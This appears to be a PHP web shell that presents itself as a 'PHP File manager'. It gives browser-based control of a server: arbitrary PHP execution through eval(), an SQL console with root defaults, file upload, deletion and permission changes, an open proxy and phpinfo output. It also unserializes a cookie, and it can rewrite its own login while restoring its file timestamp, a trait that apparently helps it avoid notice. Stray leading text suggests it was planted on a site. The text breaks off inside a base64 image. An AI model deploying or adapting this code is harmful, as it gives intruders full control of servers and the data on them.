dvadf<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>检查那些</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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